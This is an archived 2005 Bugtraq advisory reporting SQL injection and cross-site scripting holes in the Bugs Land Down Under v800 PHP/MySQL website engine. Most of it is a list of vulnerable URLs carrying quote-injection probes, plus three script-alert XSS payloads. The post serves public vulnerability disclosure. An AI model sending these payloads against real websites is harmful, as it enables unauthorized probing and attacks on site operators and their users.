[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    Bugs Land Down Under v800
From:       bl2k () shabgard ! org
Date:       2005-08-20 9:43:01
Message-ID: 20050820094301.23980.qmail () securityfocus ! com
[Download RAW message or body]

Bugs Land Down Under v800
PHP/MySQL Website engine
Copyright Neocrome - http://www.neocrome.net
---------------------------------------------
Sql Injection and Cross Site Scripting Problem

examlple :

/ldu/forums.php?m=topics&s=' 
/ldu/list.php?c=articles&s=title&w=asc&o='&p=1
/ldu/list.php?c=articles&s=title&w='&o=1&p=1 
/ldu/list.php?c=articles&s='&w=asc&o=1&p=1
/ldu/journal.php?m='&s=username&w=asc 
/ldu/journal.php?m='&p=1
/ldu/journal.php?m=' 
/ldu/forums.php?filter=forums%2Ephp%3Fc%3Dskin&x=' 
/ldu/forums.php?m=topics&q=3&n=' 
/ldu/list.php?c=articles&s=title&w=asc&o=1&p=' 
/ldu/forums.php?m='&q=3&n=last 
/ldu/links.php?c=links&s=title&w=' 
---------------------------------------------
/ldu/index.php?c='><script>alert('test');</script> 
/ldu/index.php?m='><script>alert('test');</script>
/ldu/journal.php?m=home&s=username&w='><script>alert('test');</script>


bl2k & SmallMouse  
Greetz --elite-- , hurgy , Littlehackers , Cisco
www.shabgard.org 
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic